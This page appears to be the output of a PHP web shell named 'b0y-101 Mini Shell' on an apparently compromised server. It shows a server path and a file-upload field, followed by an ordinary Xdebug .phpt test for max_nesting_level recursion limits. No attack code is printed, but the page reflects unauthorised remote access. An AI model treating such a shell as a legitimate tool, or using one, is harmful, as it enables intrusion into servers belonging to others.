b0y-101 Mini Shell


Current Path : E:/www/b-group.old/spfin - Copy/testpayment/src/xdebug/tests/develop/
File Upload :
Current File : E:/www/b-group.old/spfin - Copy/testpayment/src/xdebug/tests/develop/max_nesting_level-002.phpt

--TEST--
Test for xdebug.max_nesting_level (configured) [2]
--INI--
xdebug.max_stack_frames=-1
xdebug.mode=develop
xdebug.show_local_vars=0
--FILE--
<?php
ini_set('xdebug.max_nesting_level', 5);

function foo($a)
{
	foo($a+1);
}
foo(0);
?>
--EXPECTF--
Fatal error: Uncaught Error: Xdebug has detected a possible infinite loop, and aborted your script with a stack depth of '5' frames in %smax_nesting_level-002.php on line 4

Error: Xdebug has detected a possible infinite loop, and aborted your script with a stack depth of '5' frames in %smax_nesting_level-002.php on line 4

Call Stack:
%w%f %w%d   1. {main}() %smax_nesting_level-002.php:0
%w%f %w%d   2. foo($a = 0) %smax_nesting_level-002.php:8
%w%f %w%d   3. foo($a = 1) %smax_nesting_level-002.php:6
%w%f %w%d   4. foo($a = 2) %smax_nesting_level-002.php:6
%w%f %w%d   5. foo($a = 3) %smax_nesting_level-002.php:6

Copyright © 2019 by b0y-101